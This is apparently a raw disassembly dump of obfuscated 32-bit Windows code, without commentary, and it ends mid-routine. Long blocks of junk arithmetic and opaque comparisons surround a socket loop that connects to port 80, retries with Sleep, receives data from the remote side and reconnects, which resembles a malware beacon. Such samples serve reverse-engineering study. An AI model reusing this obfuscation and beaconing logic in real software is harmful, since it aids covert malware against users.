xor edx, edx
div ecx
imul eax, eax, 0xe4081921
sub eax, 0x45904ae9
imul eax, eax, 0x4a91982a
sub eax, 0x69f9b775
sub eax, 0x21cb3f39
or eax, 0xf97cb9ba
sub eax, 0x10248f2d
and eax, 0x4a896a9
xor eax, 0x92139cac
and eax, 0x36bfac2a
imul eax, eax, 0x5855c8ea
or eax, 0xc6f45d1a
sub eax, 0x71a5e77f
mov ecx, 0xd8af3d82
xor edx, edx
div ecx
add eax, 0x9d0bd71b
mov ecx, 0xc2344cec
xor edx, edx
div ecx
mov ecx, 0x85caff9c
xor edx, edx
div ecx
sub eax, 0x7bb74cdd
imul eax, eax, 0x2eb9180d
or eax, 0x24cac9e0
xor eax, 0xa7834b9f
imul eax, eax, 0xef772fed
add eax, 0xede5a900
imul eax, eax, 0xf7af63c4
add eax, 0x928858e1
and eax, 0xba2ad65c
mov ecx, 0x132ca285
xor edx, edx
div ecx
or eax, 0x2ce7a6de
cmp eax, 0x35d3e93a
jae 0x10063c93
mov ecx, dword [esi + 0xa0]
mov eax, dword [0x100d0ef8]
imul eax, dword [0x100d0efc]
mov edi, 0x986efb28
xor edx, edx
div edi
imul eax, eax, 0xf429c029
sub eax, 0x6f57f96e
add eax, 0xc15bf871
add eax, 0x74fa9e70
xor eax, 0xeacc72de
imul eax, eax, 0x71ed4d6e
mov edi, 0x4147e540
xor edx, edx
div edi
mov edi, 0x8af35d0b
xor edx, edx
div edi
mov edi, 0xbbf4fa0e
xor edx, edx
div edi
xor eax, 0xeffd5474
imul eax, eax, 0x4f10d083
sub eax, 0x9fde124
add eax, 0xa49ae97d
add eax, 0xb236397c
and eax, 0xc7c9d333
mov edi, 0xc4d15310
xor edx, edx
div edi
or eax, 0x512b44fd
add eax, 0xe371b84f
or eax, 0x6d66c4ad
mov edi, 0xa6f448a7
xor edx, edx
div edi
xor eax, 0xadc8a073
add eax, 0x976c86b3
mov edi, 0x24aae766
xor edx, edx
div edi
imul eax, eax, 0xcda6e88b
imul eax, eax, 0xf4658e96
sub eax, 0x8a06eff2
xor eax, 0xa19c57fa
mov edi, 0x80e362b
xor edx, edx
div edi
or eax, 0xac7010ef
sub eax, 0x4254ca9d
and eax, 0xc2741680
mov edi, 0xcd8635a5
xor edx, edx
div edi
mov edi, 0x55b5cf62
xor edx, edx
div edi
add eax, 0x501ea9b2
or eax, 0x882f8e15
imul eax, eax, 0x965280f9
add eax, 0xdf7b6e0a
xor eax, 0x9b832d80
imul eax, eax, 0x71ac8ecf
imul eax, eax, 0xed4ecd90
sub eax, 0xcb7e9846
or eax, 0x3a755eda
add eax, 0xa1e57d6e
xor eax, 0x919bdf68
or eax, 0xaf25895a
add eax, 0x513f8b23
add eax, 0x68bde434
imul eax, eax, 0xec133194
or eax, 0xf28c07f5
and eax, 0xbe546fff
and eax, 0xfa65b486
sub eax, 0xa2bdf8ea
sub eax, 0xfbfb552b
or eax, 0x332a338f
and eax, 0xa5e08fa
imul eax, eax, 0xdeb47dd0
or eax, 0xc9df6d15
and eax, 0x17b0c456
mov edi, 0x9413fab8
xor edx, edx
div edi
mov edi, 0xf32f4c06
xor edx, edx
div edi
sub eax, 0x2d417e5d
sub eax, 0xd22963e2
imul eax, eax, 0xf80a682e
xor eax, 0xbd299f11
and eax, 0xb0c3589b
mov edi, 0x53b59197
xor edx, edx
div edi
sub eax, 0xf699eef1
mov edi, 0x60f509f8
xor edx, edx
div edi
xor eax, 0xa6b04637
add eax, 0x2ecd58e7
xor eax, 0x481dbeb4
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x57], cl
cmp eax, 0xf48ba35c
jae 0x10063c93
mov al, byte [esi + 0x57]
test al, 1
jne 0x100613ef
jmp 0x10061797
mov eax, dword [0x100d0f00]
imul eax, dword [0x100d0f04]
mov ecx, 0x17309698
xor edx, edx
div ecx
or eax, 0xefb63339
mov ecx, 0x6c941e4a
xor edx, edx
div ecx
add eax, 0xfead7708
imul eax, eax, 0x949260dd
xor eax, 0x4af8aa00
add eax, 0x3fc2a38b
and eax, 0x597e5905
xor eax, 0xdc5b6d2c
mov ecx, 0xe1cc0903
xor edx, edx
div ecx
add eax, 0x4d5d34b6
mov ecx, 0x356feb3d
xor edx, edx
div ecx
imul eax, eax, 0xb0c71e25
add eax, 0x3b4a71b5
add eax, 0x16a495cc
or eax, 0xab06eee1
imul eax, eax, 0xc4800fa
sub eax, 0x6f357655
sub eax, 0xdfcf062c
or eax, 0x704a0cb7
xor eax, 0x4a476511
add eax, 0x51c45a7e
imul eax, eax, 0xec58aa34
imul eax, eax, 0x7803b558
xor eax, 0x2507ea73
mov ecx, 0x9e5f4d0b
xor edx, edx
div ecx
imul eax, eax, 0xb8be1faa
imul eax, eax, 0xef48352c
imul eax, eax, 0x474de140
mov ecx, 0xde6c0e1
xor edx, edx
div ecx
xor eax, 0x8019f94f
add eax, 0x4b42f748
add eax, 0x6800511a
sub eax, 0x1bef336a
or eax, 0xa8cc8919
imul eax, eax, 0x6ebad1e9
or eax, 0x35cb42c
or eax, 0xe0eac211
and eax, 0x79e5b938
or eax, 0x334d30e5
xor eax, 0x7d343544
sub eax, 0xc5c5a3a3
mov ecx, 0xf03b132f
xor edx, edx
div ecx
imul eax, eax, 0x55185aca
or eax, 0x5e8f3ad9
and eax, 0xffce1ec7
mov ecx, 0x88f1c373
xor edx, edx
div ecx
or eax, 0x5481835a
xor eax, 0xdb99d135
add eax, 0x43a1f1da
xor eax, 0x6b0e2aac
sub eax, 0xfb6062f3
imul eax, eax, 0x643a61b5
xor eax, 0x1d94075d
xor eax, 0x5278f478
xor eax, 0x69d6fd09
or eax, 0xe999730
or eax, 0x890916dc
xor eax, 0x9f0881e5
and eax, 0xbe1901b1
xor eax, 0x5715da8
imul eax, eax, 0x9179c7f3
sub eax, 0xf363445e
xor eax, 0x8651f1a6
imul eax, eax, 0x3b390b94
xor eax, 0x66fb5e8a
or eax, 0x8f256c91
sub eax, 0x8d6ab386
sub eax, 0xe8bbdce4
xor eax, 0xab6e6636
and eax, 0x355154d
sub eax, 0xc5ccf080
cmp eax, 0x8d0af2e3
je 0x10063c98
mov ecx, dword [esi + 0xac]
mov edi, dword [esi + 0x68]
mov eax, dword [0x100d0f08]
and eax, dword [0x100d0f0c]
or eax, 0xf90b8249
add eax, 0x333345db
or eax, 0x9f16a744
or eax, 0x858a7bc
imul eax, eax, 0xd6fe66b
or eax, 0x8936f932
and eax, 0x6bf0d96d
sub eax, 0xe8ac119d
xor eax, 0x797b54e3
or eax, 0xcac3904e
mov ebx, 0x1f8bdc21
xor edx, edx
div ebx
imul eax, eax, 0x221b0d22
xor eax, 0x93171b4
and eax, 0x25bff45f
and eax, 0x368ba0dd
xor eax, 0x381a2b7f
or eax, 0x648924c0
mov ebx, 0x6b6808a3
xor edx, edx
div ebx
xor eax, 0x36d3a381
sub eax, 0x5ea838ed
mov ebx, 0xcca71871
xor edx, edx
div ebx
add eax, 0x8fee415a
and eax, 0xe75cb979
sub eax, 0x97cd7063
sub eax, 0xde09f114
add eax, 0x9c13dcca
and eax, 0x5128b470
or eax, 0x4e77ec2e
add eax, 0x6173c1f0
or eax, 0x7fe16d37
sub eax, 0x9c668842
xor eax, 0x6fa6cfc3
sub eax, 0xc39f7ac5
and eax, 0x9ab38a24
sub eax, 0xddbcdb27
or eax, 0x42d78e0f
mov ebx, 0xb8902da0
xor edx, edx
div ebx
and eax, 0x780bf32c
and eax, 0x7ee0ca62
mov ebx, 0x5a6ac561
xor edx, edx
div ebx
mov ebx, 0xd196d869
xor edx, edx
div ebx
imul eax, eax, 0x9b210186
add eax, 0xc7e5f014
mov ebx, 0x40bb5664
xor edx, edx
div ebx
mov ebx, 0x4a5c03b0
xor edx, edx
div ebx
and eax, 0xbecfbb6e
and eax, 0x4862a48d
add eax, 0x6adebee0
add eax, 0x461e8c2
and eax, 0xbb7e679d
mov ebx, 0x506448ee
xor edx, edx
div ebx
or eax, 0x95aa4281
and eax, 0xea0e6187
imul eax, eax, 0x9f8d2748
sub eax, 0xdb5671c9
sub eax, 0x81e5bc0e
imul eax, eax, 0xb1d3450
or eax, 0x139402cb
sub eax, 0x56cae668
imul eax, eax, 0x4a70ee43
or eax, 0x76e41a22
sub eax, 0xb7044707
or eax, 0x1076903d
or eax, 0xf2133ce8
add eax, 0x95d6188e
mov ebx, 0xfff2ec64
xor edx, edx
div ebx
xor eax, 0x50c45712
mov ebx, 0xd3f781e9
xor edx, edx
div ebx
mov edx, dword [esi + 0xa8]
mov ebx, eax
mov eax, dword [esi + 0x84]
add ebx, 0x170b8c1a
or ebx, 0x12c7cdfc
or ebx, 0xa80f6fc0
imul ebx, ebx, 0xf2037ee0
mov dword [esi + 0x50], ebx
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, dword [esi + 0xa0]
mov edx, eax
mov eax, dword [esi + 0x50]
mov dword [ecx], edx
cmp eax, 0x535cdd25
jae 0x1006159b
jmp 0x1006105d
mov ecx, dword [esi + 0xa4]
mov edx, dword [esi + 0xb0]
mov eax, dword [esi + 0x88]
mov edi, dword [esi + 0xac]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0xa4]
mov eax, dword [esi + 0x8c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0xb4]
mov edx, eax
mov eax, dword [esi + 0x150]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
mov edi, dword [esi + 0xec]
mov ebx, dword [esi + 0xe8]
mov edx, dword [esi + 0xcc]
mov eax, dword [esi + 0xb8]
mov ecx, dword [0x100cf1c1]
mov dword [eax + 3], ecx
mov ecx, dword [0x100cf1be]
mov dword [eax], ecx
mov ecx, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
movsd xmm0, qword [0x100cf1a3]
movsd qword [ecx], xmm0
mov cl, byte [0x100cf1ce]
mov byte [eax + 4], cl
mov ecx, dword [0x100cf1ca]
mov dword [eax], ecx
mov ecx, dword [esi + 0xc4]
mov al, byte [0x100cf1fc]
mov byte [ecx + 4], al
mov eax, dword [0x100cf1f8]
mov dword [ecx], eax
mov eax, dword [esi + 0xc8]
mov ecx, dword [0x100cf1e2]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xb8]
movsd xmm0, qword [0x100cf1da]
movsd qword [eax], xmm0
mov ax, word [0x100cf1b5]
mov word [edx + 4], ax
mov eax, dword [0x100cf1b1]
mov dword [edx], eax
mov eax, dword [esi + 0x134]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov ecx, dword [esi + 0xbc]
mov edx, dword [esi + 0xd0]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x134]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov ecx, dword [esi + 0xc0]
mov edx, dword [esi + 0xd4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x134]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov edx, dword [esi + 0xd8]
mov ecx, dword [esi + 0xc4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x134]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov edx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xc8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x134]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov ecx, dword [esi + 0xe0]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x134]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xcc]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1004f750
mov edx, dword [esi + 0x150]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xe4]
mov dword [eax], ecx
mov ecx, dword [esi + 0xf0]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xf0]
mov edx, eax
mov eax, dword [esi + 0xd0]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xf4]
mov ecx, dword [esi + 0xf0]
mov edi, eax
mov eax, dword [esi + 0xd4]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xec]
mov dword [eax], ecx
mov eax, dword [esi + 0xec]
cmp dword [eax], 0xffffffff
jne 0x10061aa4
mov ecx, dword [esi + 0xf0]
mov edx, dword [esi + 0xf4]
mov eax, dword [esi + 0xd4]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xec]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10061a4c
mov eax, dword [0x100d0f10]
add eax, dword [0x100d0f14]
mov ecx, 0x116658a
xor edx, edx
div ecx
and eax, 0x90c08d5
or eax, 0xd7256e06
imul eax, eax, 0xe870d0e7
add eax, 0xbab4811
imul eax, eax, 0x3cef5ab
mov ecx, 0xfca8ccef
xor edx, edx
div ecx
sub eax, 0x40b3d879
xor eax, 0x19f370bd
add eax, 0xf8826a74
mov ecx, 0xe0d8b348
xor edx, edx
div ecx
imul eax, eax, 0x26dc0098
sub eax, 0x176a963c
mov ecx, 0x365bdff0
xor edx, edx
div ecx
mov ecx, 0x58a01945
xor edx, edx
div ecx
add eax, 0x5aeb083b
add eax, 0x974c901
add eax, 0x28a1215e
xor eax, 0x28e67958
xor eax, 0xa366dfd7
mov ecx, 0x401cf09c
xor edx, edx
div ecx
and eax, 0x93b6143e
mov ecx, 0xb4d3a6e6
xor edx, edx
div ecx
add eax, 0x23053aae
or eax, 0xa9250081
imul eax, eax, 0x8e0cfa8b
and eax, 0x5ab47e78
and eax, 0xab0009a9
or eax, 0x33a824c
imul eax, eax, 0x6c6b1abf
or eax, 0xbabb1973
and eax, 0xc33e8209
and eax, 0x9602e717
imul eax, eax, 0x67b0630b
add eax, 0x1a151305
imul eax, eax, 0x5ce88230
sub eax, 0x7519a95d
xor eax, 0x7fc59fda
xor eax, 0xbf1f63c3
xor eax, 0x5618b2cf
xor eax, 0x88b3727a
mov ecx, 0x7182cd5c
xor edx, edx
div ecx
xor eax, 0x20d40eb
mov ecx, 0xc0eee57a
xor edx, edx
div ecx
mov ecx, 0x15e7eece
xor edx, edx
div ecx
and eax, 0xa9e18324
sub eax, 0x662847e5
sub eax, 0x5864a2a8
add eax, 0xe8f491e5
imul eax, eax, 0xf054d2c1
add eax, 0x4c574c2
imul eax, eax, 0x81c7913
add eax, 0x4b8b1ea4
sub eax, 0xf841ddd5
or eax, 0xba80c7b0
mov ecx, 0xb002d1c4
xor edx, edx
div ecx
and eax, 0xa0446707
or eax, 0x9a6406f3
sub eax, 0xd6a1ecc7
or eax, 0xd61532ab
sub eax, 0x8b960d9f
imul eax, eax, 0x2546a4f5
xor eax, 0x9f762371
add eax, 0x4fd8b4a4
mov ecx, 0x1dc8cb90
xor edx, edx
div ecx
sub eax, 0x3958ed2a
imul eax, eax, 0x76f7e612
mov ecx, 0x3790929d
xor edx, edx
div ecx
or eax, 0x4b9acbf7
or eax, 0x65cbd15f
mov ecx, 0xc3f0272c
xor edx, edx
div ecx
imul eax, eax, 0x4aa114d6
cmp eax, 0x42b387ed
je 0x10063cd8
mov edi, dword [esi + 0xf4]
mov eax, dword [0x100d0f18]
xor edx, edx
div dword [0x100d0f1c]
add eax, 0x6138edba
and eax, 0x124fc3be
imul eax, eax, 0x1841aabd
mov ecx, 0xfb68a135
xor edx, edx
div ecx
add eax, 0xe7b3d969
or eax, 0xe00c585b
xor eax, 0xf6edd39b
sub eax, 0x8a826c8d
sub eax, 0xd1df2197
xor eax, 0x62233950
and eax, 0x20e4a280
or eax, 0xae8688bc
add eax, 0x27087229
sub eax, 0x14f933e1
add eax, 0x6803b515
add eax, 0xf06ba73c
or eax, 0x89263743
xor eax, 0xd59fb7f4
sub eax, 0x58a343f2
or eax, 0x23d9ada8
xor eax, 0x7fb8554c
and eax, 0x9ee0aedb
add eax, 0x78b79580
add eax, 0x2b9075ce
sub eax, 0x9291f5d5
imul eax, eax, 0xa2037e6f
add eax, 0x21df786b
add eax, 0x87728469
and eax, 0x12030af8
xor eax, 0x89878a88
or eax, 0xaa39bccf
xor eax, 0xc95ae111
and eax, 0x3e3b7482
mov ecx, 0xbb5c4333
xor edx, edx
div ecx
add eax, 0x1d134707
imul eax, eax, 0x3667431b
add eax, 0xb2d809a3
xor eax, 0x248f671a
mov ecx, 0x63882744
xor edx, edx
div ecx
sub eax, 0xfe36fca8
and eax, 0x99efdcc7
and eax, 0x936a6e41
xor eax, 0x3485fe1c
imul eax, eax, 0x95029c48
imul eax, eax, 0x5c26c2c
add eax, 0x8cbcb6ee
sub eax, 0x5c7a1f3c
and eax, 0xd75a2ed4
mov ecx, 0xc049806f
xor edx, edx
div ecx
sub eax, 0x7586ae1c
and eax, 0x36b4988b
mov ecx, 0xc91e86db
xor edx, edx
div ecx
imul eax, eax, 0x86fa2190
or eax, 0x7e75501b
and eax, 0xc980aa55
and eax, 0x90aa336a
mov ecx, 0xd9122486
xor edx, edx
div ecx
and eax, 0xfd174703
or eax, 0x35627650
xor eax, 0x4d230b8b
mov ecx, 0x4349b0fb
xor edx, edx
div ecx
xor eax, 0x93a9f878
xor eax, 0x8a06e296
add eax, 0x959ba14
mov ecx, 0xddbbd6ed
xor edx, edx
div ecx
xor eax, 0xc2761bba
mov ecx, 0x75c4ad3
xor edx, edx
div ecx
xor eax, 0x5a808170
sub eax, 0x8fcacc6a
add eax, 0x15961a58
add eax, 0xd3e286fd
xor eax, 0x9717ae5b
mov dword [esi + 0x48], eax
sub esp, 4
mov dword [esp], 0x104
call fcn.10079161
mov edx, dword [esi + 0xfc]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xf8]
mov dword [eax], ecx
mov ecx, dword [0x100cf208]
mov dword [edx], ecx
mov ecx, dword [str._vc7]
mov dword [edx + 4], ecx
mov ecx, dword [0x100cf210]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10099e70
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x68]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x6c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov ecx, dword [esi + 0xf8]
add esp, 8
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
add esp, 8
mov eax, dword [esi + 0xf8]
mov ecx, dword [eax]
lea eax, [0x100c4496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10099e80
mov edx, dword [esi + 0xf8]
mov ecx, dword [esi + 0xd8]
add esp, 8
mov eax, dword [esi + 0x100]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x44], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1009a000
mov edx, dword [esi + 0x100]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x44]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [esi + 0xec]
mov edx, eax
mov eax, dword [esi + 0x48]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
sete cl
mov byte [esi + 0x4f], cl
cmp eax, 0x18b64175
je 0x10063cd8
mov al, byte [esi + 0x4f]
test al, 1
jne 0x10061f5d
jmp 0x10061f6b
mov eax, dword [esi + 0x58]
mov dword [eax], 0
jmp 0x10063762
mov edi, dword [esi + 0x108]
mov eax, dword [esi + 0x104]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1007cb30
mov edx, dword [esi + 0x10c]
mov ecx, dword [esi + 0x110]
mov eax, dword [esi + 0x118]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
mov eax, dword [esi + 0x104]
mov ecx, dword [esi + 0xf4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0x108]
mov ecx, dword [esi + 0x104]
mov edi, eax
mov eax, dword [esi + 0x11c]
mov dword [edx], edi
mov edx, dword [0x100cf218]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1005cf00
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
cmp dword [eax], 0
je 0x100623f5
mov eax, dword [0x100d0f20]
and eax, dword [0x100d0f24]
add eax, 0x6dd03f9
xor eax, 0x801d98ac
and eax, 0x6c280afe
add eax, 0xa695dc2a
add eax, 0x2f2c184c
add eax, 0x49355082
or eax, 0xfa29f89a
imul eax, eax, 0x17e9d8bf
add eax, 0x1200e56a
sub eax, 0xd8fcf6a3
add eax, 0x9ee48d60
sub eax, 0xba7cce84
imul eax, eax, 0xff26ddb6
and eax, 0x41cc878d
or eax, 0xa816ef6
imul eax, eax, 0x989d86d9
or eax, 0x9256a604
add eax, 0x8aff2a5
imul eax, eax, 0x338761f0
xor eax, 0x66777d6e
or eax, 0x615d8dfb
imul eax, eax, 0x779ac7cb
add eax, 0x6ff67cd3
imul eax, eax, 0xdfc62fcd
imul eax, eax, 0x303febbe
sub eax, 0x1d8cc876
or eax, 0x5aa407c7
and eax, 0xb66a42b3
add eax, 0x23b68455
sub eax, 0xe3681729
mov ecx, 0x410bb53b
xor edx, edx
div ecx
xor eax, 0xe6698f5b
or eax, 0xe13fce08
xor eax, 0xe823df72
xor eax, 0xd920c386
xor eax, 0x95b09c84
xor eax, 0x5e31f82b
xor eax, 0xee1c00e6
sub eax, 0xf705cc8a
mov ecx, 0x619764
xor edx, edx
div ecx
mov ecx, 0x2af3e723
xor edx, edx
div ecx
xor eax, 0xbacfae44
xor eax, 0x250b5429
mov ecx, 0xd21f465c
xor edx, edx
div ecx
add eax, 0x956eb220
add eax, 0xd5f6e589
add eax, 0x9d3f7ad8
xor eax, 0xc4b8e0e9
or eax, 0x5ade0429
add eax, 0xeed32f4c
imul eax, eax, 0xa76cec58
sub eax, 0xe5e97bc9
and eax, 0xb356b758
imul eax, eax, 0xe011dc4
mov ecx, 0xec90c07a
xor edx, edx
div ecx
and eax, 0x3c358c21
sub eax, 0x34d95727
imul eax, eax, 0x646d8022
add eax, 0x652dbc55
add eax, 0xc46c5ba0
mov ecx, 0x27560884
xor edx, edx
div ecx
imul eax, eax, 0x943c25fa
and eax, 0xe765568
and eax, 0xd497ef09
or eax, 0x14c211af
or eax, 0xec34c456
xor eax, 0x7fe91589
mov ecx, 0x29cb7691
xor edx, edx
div ecx
sub eax, 0xf2b7d8d0
and eax, 0xf965d39
xor eax, 0x1eb805b
mov ecx, 0x70e1e6df
xor edx, edx
div ecx
cmp eax, 0x45aa317a
ja 0x10063e09
mov eax, dword [0x100d0f28]
add eax, dword [0x100d0f2c]
sub eax, 0x3c6d352b
add eax, 0xbc66ad15
or eax, 0xda56cb7f
add eax, 0xfab66724
sub eax, 0xcc445d8f
xor eax, 0xa889f4fa
add eax, 0x42d34ea8
mov ecx, 0xb57a40d6
xor edx, edx
div ecx
add eax, 0x9d27d04a
sub eax, 0xd92339e4
add eax, 0xd2c50af6
and eax, 0x9265e5f1
imul eax, eax, 0xa56f9ee
add eax, 0x96e515dc
and eax, 0x6ee0ff9b
or eax, 0x82161aaf
sub eax, 0xf4f7e970
mov ecx, 0x611badca
xor edx, edx
div ecx
add eax, 0xd0f5c4e2
imul eax, eax, 0x1de1c434
mov ecx, 0xc27645b0
xor edx, edx
div ecx
imul eax, eax, 0xe6712bd2
mov ecx, 0x60dae053
xor edx, edx
div ecx
imul eax, eax, 0xdf8e7252
add eax, 0xbc41265d
or eax, 0x73d40b0b
or eax, 0x680947fd
mov ecx, 0x69244360
xor edx, edx
div ecx
or eax, 0x826ff3c5
add eax, 0x6ae0ecc4
add eax, 0xd0c141ce
add eax, 0xa41769de
add eax, 0xb263bab4
imul eax, eax, 0x3988bbf5
sub eax, 0x7909d473
mov ecx, 0x67014eac
xor edx, edx
div ecx
xor eax, 0x14245d4d
or eax, 0x3130d4f8
imul eax, eax, 0x52bb7676
sub eax, 0x222cd0c2
mov ecx, 0x2f173293
xor edx, edx
div ecx
mov ecx, 0x134a6dff
xor edx, edx
div ecx
or eax, 0xf98fb0cf
sub eax, 0x86cad5a0
xor eax, 0x4b17674c
add eax, 0xbd77e141
imul eax, eax, 0xd8d1ea66
or eax, 0x29dabeab
or eax, 0xd7c92424
xor eax, 0xdee8e227
add eax, 0x39ccac8d
imul eax, eax, 0x526ba94a
xor eax, 0xd05692fb
mov ecx, 0x1670bf91
xor edx, edx
div ecx
add eax, 0x508fb495
xor eax, 0x49bc4952
sub eax, 0xaf922ef0
add eax, 0x754b008f
mov ecx, 0x6568e6d4
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xf4]
and ecx, 0x2f690fc2
imul ecx, ecx, 0xfcae6fc2
or ecx, 0x81252c72
and ecx, 0xac87c19d
imul ecx, ecx, 0x725b9f84
xor ecx, 0xdc89984f
xor ecx, 0xebc7d298
and ecx, 0xe21d11df
xor ecx, 0xf6d46960
add ecx, 0xf8e9fc0b
imul ecx, ecx, 0x7d1eacca
sub ecx, 0xad54d3b7
and ecx, 0xbda065fc
mov dword [esi + 0x40], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0x60]
mov edx, dword [esi + 0x64]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1005fee0
mov ecx, dword [esi + 0x58]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x40]
mov dword [ecx], edx
cmp eax, 0x86c1d846
ja 0x10063e09
jmp 0x10063762
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.100295a0
add esp, 0xc
mov eax, dword [esi + 0x110]
cmp dword [eax], 0
je 0x100624c5
mov ecx, dword [esi + 0x5c]
mov eax, dword [esi + 0x104]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1004f470
mov ecx, dword [esi + 0x114]
mov edx, dword [esi + 0x5c]
add esp, 0xc
mov eax, dword [esi + 0x104]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1004f470
add esp, 0xc
mov eax, dword [esi + 0x5c]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10079161
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1004d3b0
add esp, 8
mov eax, dword [0x100d0f30]
xor eax, dword [0x100d0f34]
sub eax, 0x7ededc17
add eax, 0x9e5a6c42
mov ecx, 0xb022a9b3
xor edx, edx
div ecx
and eax, 0xe76971
